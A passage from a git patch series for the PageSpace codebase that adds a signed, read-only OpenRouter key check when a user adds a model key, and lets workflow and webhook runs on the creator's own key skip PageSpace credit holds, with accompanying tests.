readonly createAccount: (input: { readonly actor: AccessActor; readonly owner: AccountOwnerTarget; readonly input: CreateAccountInput }) => Promise;
/** `allowedDriveIds`: the caller's credential ceiling (`[]` = none); accounts outside it are not listed. */
readonly listAccounts: (input: { readonly actor: AccessActor; readonly owner: AccountOwnerTarget; readonly allowedDriveIds?: readonly string[] }) => Promise;
@@ -464,6 +466,53 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth
return (await deps.accounts.markRevoked({ id: row.id, at: deps.now() })) !== null;
}
+ /** One model call (or the key check) on the person's own key: see `AccountAuthority.requestInference`. */
+ async function inference({ caller, body, call = 'chat', signal }: Parameters[0]): ReturnType {
+ const now = deps.now();
+ const [row] = await activeModelKeys(caller.userId);
+ if (row === undefined) return { ok: false, reason: 'no_model_key' };
+ const delegation: DelegationFact =
+ caller.sessionId !== null ? { kind: 'none' } : ((await deps.accounts.activeDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: caller.userId, now })) ?? { kind: 'none' });
+ const counted = await deps.plane.usage({ ref: refOf(row) });
+ const usage: UsageCounters = counted.ok ? { usesThisHour: counted.usesThisHour, bytesOutThisHour: counted.bytesOutThisHour, concurrent: counted.concurrent } : ZERO_USAGE;
+ const verdict = authorizeInference({
+ caller: {
+ actorUserId: caller.userId,
+ actingHumanUserId: caller.userId,
+ sessionId: caller.sessionId,
+ conversationId: caller.conversationId,
+ runId: caller.runId,
+ // The key is the person's own and pays for their calls; a drive-scoped token limits drive access, not whose key runs.
+ callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null },
+ },
+ account: row,
+ facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation, ceilingAdmitsAccount: true },
+ body,
+ call,
+ sha256: deps.sha256,
+ approvals: [],
+ usage,
+ presenter: { keyId: deps.presenterKeyId, channel: 'inference-executor' },
+ now,
+ grantId: newId() as GrantId,
+ nonce: newId() as Nonce,
+ ttlMs: GRANT_TTL_MS,
+ hash: deps.hash,
+ });
+ if (!verdict.ok) {
+ if (verdict.reason === 'limits_exceeded') return { ok: false, reason: 'limits_exceeded' };
+ if (verdict.reason === 'request_refused') return { ok: false, reason: 'request_refused' };
+ // Anything else (no delegation, a policy that no longer covers it) means the key cannot be used as stored.
+ return { ok: false, reason: 'no_model_key' };
+ }
+ const signature = signGrant({ grant: verdict.grant, key: deps.authorityKey });
+ const started = await deps.plane.inferStream(
+ { grant: verdict.grant, signature, body, call, run: { human: verdict.grant.human, agentPageId: null, conversationId: verdict.grant.conversationId, runId: verdict.grant.runId } },
+ { signal },
+ );
+ return started.ok ? started : { ok: false, reason: started.reason };
+ }
+
return {
async getModelKey({ actor }) {
const [newest] = await activeModelKeys(actor.userId);
@@ -502,9 +551,19 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth
await deps.accounts.setCredentialVersion({ id: row.id, version: put.version });
// The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only.
await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS });
- for (const old of previous) await retire(old);
const stored = await deps.accounts.find(row.id);
- return stored === null ? { ok: false, reason: 'store_refused' } : { ok: true, account: toSafeAccount({ row: stored }) };
+ if (stored === null) return { ok: false, reason: 'store_refused' };
+ // Check the key with OpenRouter through the plane (GET /api/v1/key: free, read-only), BEFORE the previous key
+ // is retired, so a mistyped key never replaces a working one.
+ const checked = await inference({ caller: { userId, sessionId: null, conversationId: `model-key-check-${row.id}` as ConversationId, runId: newId() as RunId }, body: '', call: 'key_info' });
+ const status = checked.ok ? checked.response.status : null;
+ if (checked.ok) await checked.response.body?.cancel().catch(() => undefined);
+ if (status === 401 || status === 403) {
+ await retire(stored);
+ return { ok: false, reason: 'key_rejected' };
+ }
+ for (const old of previous) await retire(old);
+ return { ok: true, account: toSafeAccount({ row: stored }), verified: status !== null && status >= 200 && status < 300 };
},
async removeModelKey({ actor }) {
@@ -514,50 +573,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth
return { ok: true, account: null };
},
- async requestInference({ caller, body, signal }) {
- const now = deps.now();
- const [row] = await activeModelKeys(caller.userId);
- if (row === undefined) return { ok: false, reason: 'no_model_key' };
- const delegation: DelegationFact =
- caller.sessionId !== null ? { kind: 'none' } : ((await deps.accounts.activeDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: caller.userId, now })) ?? { kind: 'none' });
- const counted = await deps.plane.usage({ ref: refOf(row) });
- const usage: UsageCounters = counted.ok ? { usesThisHour: counted.usesThisHour, bytesOutThisHour: counted.bytesOutThisHour, concurrent: counted.concurrent } : ZERO_USAGE;
- const verdict = authorizeInference({
- caller: {
- actorUserId: caller.userId,
- actingHumanUserId: caller.userId,
- sessionId: caller.sessionId,
- conversationId: caller.conversationId,
- runId: caller.runId,
- // The key is the person's own and pays for their calls; a drive-scoped token limits drive access, not whose key runs.
- callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null },
- },
- account: row,
- facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation, ceilingAdmitsAccount: true },
- body,
- sha256: deps.sha256,
- approvals: [],
- usage,
- presenter: { keyId: deps.presenterKeyId, channel: 'inference-executor' },
- now,
- grantId: newId() as GrantId,
- nonce: newId() as Nonce,
- ttlMs: GRANT_TTL_MS,
- hash: deps.hash,
- });
- if (!verdict.ok) {
- if (verdict.reason === 'limits_exceeded') return { ok: false, reason: 'limits_exceeded' };
- if (verdict.reason === 'request_refused') return { ok: false, reason: 'request_refused' };
- // Anything else (no delegation, a policy that no longer covers it) means the key cannot be used as stored.
- return { ok: false, reason: 'no_model_key' };
- }
- const signature = signGrant({ grant: verdict.grant, key: deps.authorityKey });
- const started = await deps.plane.inferStream(
- { grant: verdict.grant, signature, body, run: { human: verdict.grant.human, agentPageId: null, conversationId: verdict.grant.conversationId, runId: verdict.grant.runId } },
- { signal },
- );
- return started.ok ? started : { ok: false, reason: started.reason };
- },
+ requestInference: (input) => inference(input),
async createAccount({ actor, owner, input }) {
const actorUserId = actor.userId as UserId;
diff --git a/packages/lib/src/agent-accounts/authorize.ts b/packages/lib/src/agent-accounts/authorize.ts
index 58d09819d1..0fc6d6ca92 100644
--- a/packages/lib/src/agent-accounts/authorize.ts
+++ b/packages/lib/src/agent-accounts/authorize.ts
@@ -59,7 +59,7 @@ import { canonicalizeRequest } from './canonicalize-request';
import { digestRequest } from './digest-request';
import { renderApprovalSubject } from './render-approval-subject';
import { decideApproval } from './decide-approval';
-import { canonicalizeInferenceRequest, isModelKeyAccount } from './inference/model-key';
+import { canonicalizeInferenceRequest, isModelKeyAccount, type InferenceCall } from './inference/model-key';
import { decideDestination, type DestinationVerdict } from './decide-destination';
import { planeBindingsFor } from './plane-bindings-for';
import { digestBindings } from './store/digest-bindings';
@@ -234,7 +234,7 @@ export function authorizeSsh(input: Omit
* the body is canonicalized against the pinned OpenRouter endpoint. A live session or the person's standing
* inference delegation stands for the human. Pure.
*/
-export function authorizeInference(input: Omit & { readonly caller: Omit; readonly body: string; readonly sha256: HashBytes }): AuthorizeVerdict {
+export function authorizeInference(input: Omit & { readonly caller: Omit; readonly body: string; readonly sha256: HashBytes; readonly call?: InferenceCall }): AuthorizeVerdict {
const caller: AuthorizeCaller = { ...input.caller, agentPageId: null };
const facts: AuthorizeFacts = { ...input.facts, agentPagePermission: 'none', agentBoundToAccount: false };
const scoped = { ...input, caller, facts };
@@ -242,7 +242,7 @@ export function authorizeInference(input: Omit {
});
});
+ it('given a key-check grant, should GET only /api/v1/key with no body, and refuse it presented as a model call', async () => {
+ const { executor, sent } = harness({ chunks: ['{"data":{"label":"x"}}'] });
+ const check = grantFor('', `n_check_${Math.random()}`, 'key_info');
+ await drain(await executor.execute({ ...check, body: '', run, call: 'key_info' }));
+ const misused = grantFor('', `n_misuse_${Math.random()}`, 'key_info');
+ const asChat = await executor.execute({ ...misused, body, run });
+ expect([sent[0]?.method, sent[0]?.url, sent[0]?.body.byteLength, asChat.ok ? 'sent' : asChat.reason, sent.length]).toEqual(['GET', 'https://openrouter.ai/api/v1/key', 0, 'refused', 1]);
+ });
+
it('given the same grant presented twice, should send nothing the second time', async () => {
const { executor, sent } = harness();
const { grant, signature } = grantFor(body);
diff --git a/packages/lib/src/agent-accounts/executor/inference-executor.ts b/packages/lib/src/agent-accounts/executor/inference-executor.ts
index 5237b3b29c..b60ff5d939 100644
--- a/packages/lib/src/agent-accounts/executor/inference-executor.ts
+++ b/packages/lib/src/agent-accounts/executor/inference-executor.ts
@@ -23,7 +23,7 @@ import type { PinnedHttpsStreamClient } from './pinned-https-stream';
import type { PlaneInferenceRefusal } from './plane-wire';
import { parseGrant } from '../parse-grant';
import { digestRequest } from '../digest-request';
-import { canonicalizeInferenceRequest, INFERENCE_ORIGIN, INFERENCE_URL, isModelKeyAccount } from '../inference/model-key';
+import { canonicalizeInferenceRequest, INFERENCE_ORIGIN, INFERENCE_URL, isModelKeyAccount, KEY_INFO_URL, type InferenceCall } from '../inference/model-key';
import { createStreamScrubber } from '../inference/stream-scrubber';
import { decidePolicyUsage } from './decide-policy-usage';
import { approvalFactFor } from './approval-fact-for';
@@ -55,8 +55,10 @@ export type InferenceRequest = {
/** Untrusted until verified. */
readonly grant: unknown;
readonly signature: string;
- /** The exact chat-completions body text. */
+ /** The exact chat-completions body text ('' for the key check). */
readonly body: string;
+ /** Default `chat`. */
+ readonly call?: InferenceCall;
readonly run: RunEnvelope;
};
@@ -95,7 +97,7 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE
}
return {
- async execute({ grant: claim, signature, body, run }) {
+ async execute({ grant: claim, signature, body, run, call = 'chat' }) {
const now = deps.now();
const parsed = parseGrant({ grant: claim });
if (!parsed.ok) return deny(claim, 'malformed', now);
@@ -109,7 +111,7 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE
// The plane's pinned origin, never the main-DB row's: it must be OpenRouter and nothing else.
const pinnedToInference = plane !== null && plane.allowedOrigins.length === 1 && plane.allowedOrigins[0] === INFERENCE_ORIGIN;
- const canonicalized = canonicalizeInferenceRequest({ body, sha256: deps.sha256 });
+ const canonicalized = canonicalizeInferenceRequest({ body, sha256: deps.sha256, call });
if (!canonicalized.ok || !pinnedToInference) return deny(claim, 'digest_mismatch', now);
const canonical = canonicalized.canonical;
@@ -175,19 +177,24 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE
return { kind: 'upstream_failed', upstreamStatus: null };
}
const key = resolved.material.value;
- const target = new URL(INFERENCE_URL);
+ // Only the two pinned endpoints, chosen by the digested call, never by anything the caller names.
+ const url = call === 'key_info' ? KEY_INFO_URL : INFERENCE_URL;
+ const target = new URL(url);
const sent = await deps.network.stream({
- method: 'POST',
- url: INFERENCE_URL,
+ method: call === 'key_info' ? 'GET' : 'POST',
+ url,
hostname: target.hostname,
port: deps.upstreamPort ?? 443,
- headers: [
- ['accept', 'text/event-stream, application/json'],
- ['accept-encoding', 'identity'],
- ['authorization', `Bearer ${key}`],
- ['content-type', 'application/json'],
- ['x-title', 'PageSpace'],
- ],
+ headers:
+ call === 'key_info'
+ ? [['accept', 'application/json'], ['accept-encoding', 'identity'], ['authorization', `Bearer ${key}`]]
+ : [
+ ['accept', 'text/event-stream, application/json'],
+ ['accept-encoding', 'identity'],
+ ['authorization', `Bearer ${key}`],
+ ['content-type', 'application/json'],
+ ['x-title', 'PageSpace'],
+ ],
body: new TextEncoder().encode(body),
});
if (sent.kind !== 'response') {
diff --git a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts
index 5a441ca80d..177a7a5a74 100644
--- a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts
+++ b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts
@@ -308,6 +308,7 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req:
if (deps.inference === null) return send(res, 404, { error: 'not_found' });
const { grant, signature: grantSignature, body: modelBody, run } = parsed.data;
const result = await deps.inference.execute({
+ call: parsed.data.call,
grant,
signature: grantSignature,
body: modelBody,
diff --git a/packages/lib/src/agent-accounts/executor/plane-wire.ts b/packages/lib/src/agent-accounts/executor/plane-wire.ts
index 8b45a30043..238ed39d8c 100644
--- a/packages/lib/src/agent-accounts/executor/plane-wire.ts
+++ b/packages/lib/src/agent-accounts/executor/plane-wire.ts
@@ -137,7 +137,9 @@ export const planeInferenceStreamBody = z
.object({
grant: z.unknown(),
signature: z.string().min(1).max(512),
- body: z.string().min(2).max(8 * 1024 * 1024),
+ /** `chat` (default): a model call with `body`. `key_info`: the one-time key check, `body` empty. */
+ call: z.enum(['chat', 'key_info']).default('chat'),
+ body: z.string().max(8 * 1024 * 1024),
run: z
.object({
human: z.object({ userId: z.string().min(1), sessionId: z.string().min(1).nullable() }).strict(),
@@ -192,7 +194,8 @@ export type PlaneOAuthExchangeBody = z.infer;
export type PlaneSshHostKeyBody = z.infer;
export type PlaneSshEnrollBody = z.infer;
export type PlaneSshExecBody = z.infer;
-export type PlaneInferenceStreamBody = z.infer;
+/** The input shape: `call` may be omitted (a model call). */
+export type PlaneInferenceStreamBody = z.input;
/** Why a model call never reached OpenRouter. The reasons are the person's, never an agent's. */
export type PlaneInferenceRefusal = { readonly ok: false; readonly reason: 'refused' | 'limits_exceeded' | 'upstream_unreachable' | 'audit_unavailable' };
export type PlaneSshHostKeyResult = { readonly ok: true; readonly fingerprint: string; readonly algorithm: string } | { readonly ok: false; readonly reason: 'unresolvable' | 'address_refused' | 'unreachable' | 'timeout' | 'host_key_mismatch' | 'auth_failed' };
diff --git a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts
index d88dd702f9..0e10c3462f 100644
--- a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts
+++ b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts
@@ -41,6 +41,24 @@ describe('canonicalizeInferenceRequest', () => {
});
});
+describe('canonicalizeInferenceRequest (key check)', () => {
+ it('given the key check, should pin a bodiless GET to /api/v1/key as a read', () => {
+ const actual = canonicalizeInferenceRequest({ body: '', sha256, call: 'key_info' });
+ expect(actual.ok && [actual.canonical.method, actual.canonical.path, actual.canonical.operation, actual.canonical.resources]).toEqual(['GET', '/api/v1/key', { class: 'read', name: 'openrouter.key_info' }, []]);
+ });
+
+ it('given a body with the key check, should refuse it', () => {
+ const actual = canonicalizeInferenceRequest({ body: '{"x":1}', sha256, call: 'key_info' });
+ expect(actual.ok ? 'ok' : actual.reason).toBe('body_not_json');
+ });
+
+ it('given a chat grant presented as a key check, should digest differently', () => {
+ const chat = canonicalizeInferenceRequest({ body, sha256 });
+ const check = canonicalizeInferenceRequest({ body: '', sha256, call: 'key_info' });
+ expect(chat.ok && check.ok && chat.canonical.operation.name !== check.canonical.operation.name).toBe(true);
+ });
+});
+
describe('modelKeyApprovalPolicy', () => {
const policy = modelKeyApprovalPolicy({ approver: 'u1' as UserId });
const canonical = (() => {
diff --git a/packages/lib/src/agent-accounts/inference/model-key.ts b/packages/lib/src/agent-accounts/inference/model-key.ts
index b1057709b6..5744a387c7 100644
--- a/packages/lib/src/agent-accounts/inference/model-key.ts
+++ b/packages/lib/src/agent-accounts/inference/model-key.ts
@@ -26,6 +26,13 @@ export const INFERENCE_PATH = '/api/v1/chat/completions';
export const INFERENCE_URL = `https://openrouter.ai${INFERENCE_PATH}`;
/** `write`: it spends the person's money, so it needs a bounded policy, but it is never irreversible or privileged. */
export const INFERENCE_OPERATION: OperationRef = { class: 'write', name: 'openrouter.chat_completion' };
+/** OpenRouter's "who am I" for a key: free, read-only, used once to check a key when it is added. */
+export const KEY_INFO_PATH = '/api/v1/key';
+export const KEY_INFO_URL = `https://openrouter.ai${KEY_INFO_PATH}`;
+export const KEY_INFO_OPERATION: OperationRef = { class: 'read', name: 'openrouter.key_info' };
+
+/** The two calls a model key can make: a model call, and the one-time key check. */
+export type InferenceCall = 'chat' | 'key_info';
/** Large contexts with images run to a few MiB; anything past this is not a model call we send. */
export const MAX_INFERENCE_BODY_BYTES = 8 * 1024 * 1024;
/** The key is sent as a bearer token; stored with this placement for the record (the executor builds the header itself). */
@@ -41,7 +48,7 @@ export const MODEL_KEY_DELEGATION_TTL_MS = 365 * 24 * 60 * 60 * 1000;
*/
export const MODEL_KEY_LIMITS: AccountApprovalPolicy['limits'] = { maxUsesPerHour: 1200, maxBytesOut: 1024 * 1024 * 1024, maxConcurrent: 12 };
-export const MODEL_KEY_SCOPE: ApprovalScope = { origins: [INFERENCE_ORIGIN], operations: [INFERENCE_OPERATION], resources: [] };
+export const MODEL_KEY_SCOPE: ApprovalScope = { origins: [INFERENCE_ORIGIN], operations: [INFERENCE_OPERATION, KEY_INFO_OPERATION], resources: [] };
export function modelKeyApprovalPolicy({ approver }: { readonly approver: UserId }): AccountApprovalPolicy {
return { scope: MODEL_KEY_SCOPE, trigger: 'irreversible_only', duration: null, limits: MODEL_KEY_LIMITS, approver };
@@ -56,7 +63,16 @@ export type InferenceRequestVerdict = { readonly ok: true; readonly canonical: C
* Canonicalize one model call from the exact body text that will be sent. Both sides run this over the same
* text — the authority to sign, the plane to verify — so a body changed in between is `digest_mismatch`.
*/
-export function canonicalizeInferenceRequest({ body, sha256 }: { readonly body: string; readonly sha256: HashBytes }): InferenceRequestVerdict {
+export function canonicalizeInferenceRequest({ body, sha256, call = 'chat' }: { readonly body: string; readonly sha256: HashBytes; readonly call?: InferenceCall }): InferenceRequestVerdict {
+ if (call === 'key_info') {
+ // A GET with no body: nothing to digest but the empty body, nothing to bind.
+ if (body !== '') return { ok: false, reason: 'body_not_json' };
+ return {
+ ok: true,
+ model: '',
+ canonical: { channel: 'inference-executor', method: 'GET', origin: INFERENCE_ORIGIN, path: KEY_INFO_PATH, query: [], headers: [], bodySha256: sha256(new Uint8Array(0)), resources: [], operation: KEY_INFO_OPERATION },
+ };
+ }
const bytes = new TextEncoder().encode(body);
if (bytes.byteLength > MAX_INFERENCE_BODY_BYTES) return { ok: false, reason: 'body_too_large' };
let parsed: unknown;
From 531a2393b53b4048c986f18e3bc870bc3c2e10e3 Mon Sep 17 00:00:00 2001
From: 2witstudios <2witstudios@gmail.com>
Date: Sun, 29 Nov 2026 20:22:20 -0600
Subject: [PATCH 10/35] feat(billing): workflows and triggers on the creator's
own key take no credit hold (BYOK-7)
acquireWorkflowCreditHold and the calendar, Zoom and page-webhook trigger
executors asked for PageSpace credits before their steps' providers were
known, so a person with no credits was refused a run that would have been on
their own key. runsOnOwnKey answers it up front (every cloud model is
OpenRouter): no hold when the gated person is the creator and the run is on
their key. A manual Run pressed by someone else is gated as before. A step
that still lands on PageSpace's key (org-governed content) is billed at
settle; it only took no hold.
Co-Authored-By: Claude Opus 5.5
Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR
---
apps/web/src/lib/ai/core/model-key-source.ts | 11 +++++++++++
.../__tests__/image-generation-tools.test.ts | 2 +-
.../zoom/webhook-trigger-executor.ts | 6 +++++-
.../webhooks/page-webhook-trigger-executor.ts | 6 +++++-
.../__tests__/workflow-credit-gate.test.ts | 17 +++++++++++++++++
.../lib/workflows/calendar-trigger-executor.ts | 6 +++++-
.../src/lib/workflows/workflow-credit-gate.ts | 7 +++++++
7 files changed, 51 insertions(+), 4 deletions(-)
diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts
index 03cbf7b262..5b498683ef 100644
--- a/apps/web/src/lib/ai/core/model-key-source.ts
+++ b/apps/web/src/lib/ai/core/model-key-source.ts
@@ -78,6 +78,17 @@ export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise {
+ return (await resolveModelKeySource({ userId, provider: 'openrouter', driveId })).source === 'user_key';
+}
+
/** Whether a call on this key source is billed in PageSpace credits. */
export function isBilledKeySource(source: ModelKeySource | undefined): boolean {
return source !== 'user_key';
diff --git a/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts
index 754552a332..18fe66f32e 100644
--- a/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts
+++ b/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts
@@ -221,7 +221,7 @@ describe('generate_image destination', () => {
okGeneration();
createImageProvider.mockResolvedValueOnce({ client: IMAGE_CLIENT, provider: 'google', modelName: 'google/gemini-3.1-flash-image', keySource: 'user_key' });
await run({ prompt: 'a diagram' }, { ...admin({}), ...inDrive('drive-work') });
- expect([canConsumeAI.mock.calls.length, trackUsage.mock.calls[0]?.[0]?.keySource, trackUsage.mock.calls[0]?.[0]?.holdId]).toEqual([0, 'user_key', undefined]);
+ expect([canConsumeAI.mock.calls.length, (trackUsage.mock.calls[0]?.[0] as { keySource?: string } | undefined)?.keySource, (trackUsage.mock.calls[0]?.[0] as { holdId?: string } | undefined)?.holdId]).toEqual([0, 'user_key', undefined]);
});
// An explicitly named destination must fail loudly rather than silently
diff --git a/apps/web/src/lib/integrations/zoom/webhook-trigger-executor.ts b/apps/web/src/lib/integrations/zoom/webhook-trigger-executor.ts
index 7a2a297f3f..6b6a77831c 100644
--- a/apps/web/src/lib/integrations/zoom/webhook-trigger-executor.ts
+++ b/apps/web/src/lib/integrations/zoom/webhook-trigger-executor.ts
@@ -10,6 +10,7 @@ import { executeWorkflow, type WorkflowExecutionResult, type WorkflowExecutionIn
import { isUserDriveMember } from '@pagespace/lib/permissions/permissions';
import { automationRunOwner } from '@pagespace/lib/permissions/automation-ownership';
import { canConsumeAI } from '@pagespace/lib/billing/credit-gate';
+import { runsOnOwnKey } from '@/lib/ai/core/model-key-source';
import { automationSpend } from '@pagespace/lib/billing/spend-target';
import { creditDeniedError } from '@/lib/workflows/workflow-credit-gate';
import { releaseHold } from '@pagespace/lib/billing/credit-consume';
@@ -96,7 +97,10 @@ export async function executeWebhookTrigger(
// SPEND-6: a trigger has no person present; it spends the workflow's drive wallet
// or is skipped, never anyone's own credits or allowance.
const spend = automationSpend(workflow.driveId);
- const gate = await canConsumeAI(
+ // BYOK (ADR 0009): a run on the owner's own OpenRouter key needs no PageSpace credits: no hold.
+ const gate = (await runsOnOwnKey({ userId: ownerId, driveId: workflow.driveId }))
+ ? { allowed: true as const, reason: 'ok' as const, holdId: undefined, walletId: undefined }
+ : await canConsumeAI(
ownerId,
toPersonalSubscriptionTier(workflowOwner?.subscriptionTier),
{ spend, skipDailyCap: true },
diff --git a/apps/web/src/lib/webhooks/page-webhook-trigger-executor.ts b/apps/web/src/lib/webhooks/page-webhook-trigger-executor.ts
index 817abb4add..d9376abeb3 100644
--- a/apps/web/src/lib/webhooks/page-webhook-trigger-executor.ts
+++ b/apps/web/src/lib/webhooks/page-webhook-trigger-executor.ts
@@ -14,6 +14,7 @@ import {
import { isUserDriveMember } from '@pagespace/lib/permissions/permissions';
import { automationRunOwner } from '@pagespace/lib/permissions/automation-ownership';
import { canConsumeAI } from '@pagespace/lib/billing/credit-gate';
+import { runsOnOwnKey } from '@/lib/ai/core/model-key-source';
import { automationSpend } from '@pagespace/lib/billing/spend-target';
import { creditDeniedError } from '@/lib/workflows/workflow-credit-gate';
import { WEBHOOK_DAILY_EXPOSURE_CAP_CENTS, CREDIT_HOLD_ESTIMATE_CENTS } from '@pagespace/lib/billing/credit-pricing';
@@ -216,7 +217,10 @@ export async function executePageWebhookTrigger(
.select({ subscriptionTier: users.subscriptionTier })
.from(users)
.where(eq(users.id, ownerId));
- const gate = await canConsumeAI(
+ // BYOK (ADR 0009): a run on the owner's own OpenRouter key needs no PageSpace credits: no hold.
+ const gate = (await runsOnOwnKey({ userId: ownerId, driveId: workflow.driveId }))
+ ? { allowed: true as const, reason: 'ok' as const, holdId: undefined, walletId: undefined }
+ : await canConsumeAI(
ownerId,
toPersonalSubscriptionTier(owner?.subscriptionTier),
{
diff --git a/apps/web/src/lib/workflows/__tests__/workflow-credit-gate.test.ts b/apps/web/src/lib/workflows/__tests__/workflow-credit-gate.test.ts
index 369c4efb1a..c6f5953204 100644
--- a/apps/web/src/lib/workflows/__tests__/workflow-credit-gate.test.ts
+++ b/apps/web/src/lib/workflows/__tests__/workflow-credit-gate.test.ts
@@ -7,7 +7,9 @@ const {
mockSelectWhere,
mockCanConsumeAI,
mockReleaseHold,
+ mockRunsOnOwnKey,
} = vi.hoisted(() => ({
+ mockRunsOnOwnKey: vi.fn(),
mockSelect: vi.fn(),
mockSelectFrom: vi.fn(),
mockSelectWhere: vi.fn(),
@@ -20,6 +22,7 @@ vi.mock('@pagespace/db/operators', () => ({ eq: vi.fn() }));
vi.mock('@pagespace/db/schema/auth', () => ({ users: { id: 'id', subscriptionTier: 'subscriptionTier' } }));
vi.mock('@pagespace/lib/billing/credit-gate', () => ({ canConsumeAI: mockCanConsumeAI }));
vi.mock('@pagespace/lib/billing/credit-consume', () => ({ releaseHold: mockReleaseHold }));
+vi.mock('@/lib/ai/core/model-key-source', () => ({ runsOnOwnKey: mockRunsOnOwnKey }));
vi.mock('@pagespace/lib/billing/credit-pricing', () => ({
CREDIT_HOLD_ESTIMATE_CENTS: 10,
MAX_CHAT_INFLIGHT: 3,
@@ -38,6 +41,20 @@ describe('acquireWorkflowCreditHold', () => {
mockSelectFrom.mockReturnValue({ where: mockSelectWhere });
mockSelectWhere.mockResolvedValue([{ subscriptionTier: 'pro' }]);
mockReleaseHold.mockResolvedValue(undefined);
+ mockRunsOnOwnKey.mockResolvedValue(false);
+ });
+
+ it('BYOK (ADR 0009) given a run on the creator\'s own OpenRouter key, should take no hold and need no PageSpace credits', async () => {
+ mockRunsOnOwnKey.mockResolvedValue(true);
+ const hold = await acquireWorkflowCreditHold(LEGACY_AI_WORKFLOW, 'scheduled');
+ expect([hold.allowed, mockCanConsumeAI.mock.calls.length, mockRunsOnOwnKey.mock.calls[0]?.[0]]).toEqual([true, 0, { userId: 'user_1', driveId: 'drive_product' }]);
+ });
+
+ it('BYOK (ADR 0009) given a manual Run pressed by someone other than the creator, should gate as before: their run is never on the creator\'s key', async () => {
+ mockRunsOnOwnKey.mockResolvedValue(true);
+ mockCanConsumeAI.mockResolvedValue({ allowed: true, reason: 'ok', holdId: 'hold_1', walletId: 'w_product' });
+ await acquireWorkflowCreditHold(LEGACY_AI_WORKFLOW, 'interactive', 'user_2');
+ expect([mockCanConsumeAI.mock.calls.length, mockRunsOnOwnKey.mock.calls.length]).toEqual([1, 0]);
});
it('SPEND-6 (partial) a workflow run spends its drive\'s wallet, gated as the workflow\'s CREATOR (whose caps bind it, [D-OW-34]) — never their own credits', async () => {
diff --git a/apps/web/src/lib/workflows/calendar-trigger-executor.ts b/apps/web/src/lib/workflows/calendar-trigger-executor.ts
index a0548d8b84..8cd891d30e 100644
--- a/apps/web/src/lib/workflows/calendar-trigger-executor.ts
+++ b/apps/web/src/lib/workflows/calendar-trigger-executor.ts
@@ -13,6 +13,7 @@ import type { CalendarTrigger } from '@pagespace/db/schema/calendar-triggers';
import { executeWorkflow, type WorkflowExecutionResult, type WorkflowExecutionInput } from './workflow-executor';
import { isUserDriveMember } from '@pagespace/lib/permissions/permissions';
import { canConsumeAI } from '@pagespace/lib/billing/credit-gate';
+import { runsOnOwnKey } from '@/lib/ai/core/model-key-source';
import { automationSpend } from '@pagespace/lib/billing/spend-target';
import { creditDeniedError } from '@/lib/workflows/workflow-credit-gate';
import { releaseHold } from '@pagespace/lib/billing/credit-consume';
@@ -118,7 +119,10 @@ export async function executeCalendarTrigger(
const spend = automationSpend(workflow.driveId);
let gate: Awaited>;
try {
- gate = await canConsumeAI(
+ // BYOK (ADR 0009): a run on the owner's own OpenRouter key needs no PageSpace credits: no hold.
+ gate = (await runsOnOwnKey({ userId: scheduledById, driveId: workflow.driveId }))
+ ? { allowed: true, reason: 'ok' }
+ : await canConsumeAI(
scheduledById,
toPersonalSubscriptionTier(schedulingUser?.subscriptionTier),
{ spend, skipDailyCap: true },
diff --git a/apps/web/src/lib/workflows/workflow-credit-gate.ts b/apps/web/src/lib/workflows/workflow-credit-gate.ts
index b13e15d7cd..ed4ef7298b 100644
--- a/apps/web/src/lib/workflows/workflow-credit-gate.ts
+++ b/apps/web/src/lib/workflows/workflow-credit-gate.ts
@@ -9,6 +9,7 @@ import { CREDIT_HOLD_ESTIMATE_CENTS, MAX_CHAT_INFLIGHT } from '@pagespace/lib/bi
import type { GateReason } from '@pagespace/lib/billing/credit-core';
import { creditDeniedError } from '@pagespace/lib/billing/automation-run-record';
import { resolveSteps, hasAiStep, countAiSteps } from './core/step-plan';
+import { runsOnOwnKey } from '@/lib/ai/core/model-key-source';
import type { RunAdmission, RunCreditSpend, WorkflowExecutionInput } from './workflow-executor';
/**
@@ -74,6 +75,12 @@ export async function acquireWorkflowCreditHold(
const steps = resolveSteps({ steps: input.steps ?? null, prompt: input.prompt, agentPageId: input.agentPageId });
if (!hasAiStep(steps)) return { allowed: true, release: () => {}, creditSpend: { spend: target, userId } };
+ // BYOK (ADR 0009): a run on the creator's own OpenRouter key needs no PageSpace credits, so it takes no hold.
+ // Only when the gated person IS the creator: the executor uses the creator's key only then.
+ if (userId === input.createdBy && (await runsOnOwnKey({ userId, driveId: input.driveId }))) {
+ return { allowed: true, release: () => {}, creditSpend: { spend: target, userId } };
+ }
+
const [user] = await db
.select({ subscriptionTier: users.subscriptionTier })
.from(users)
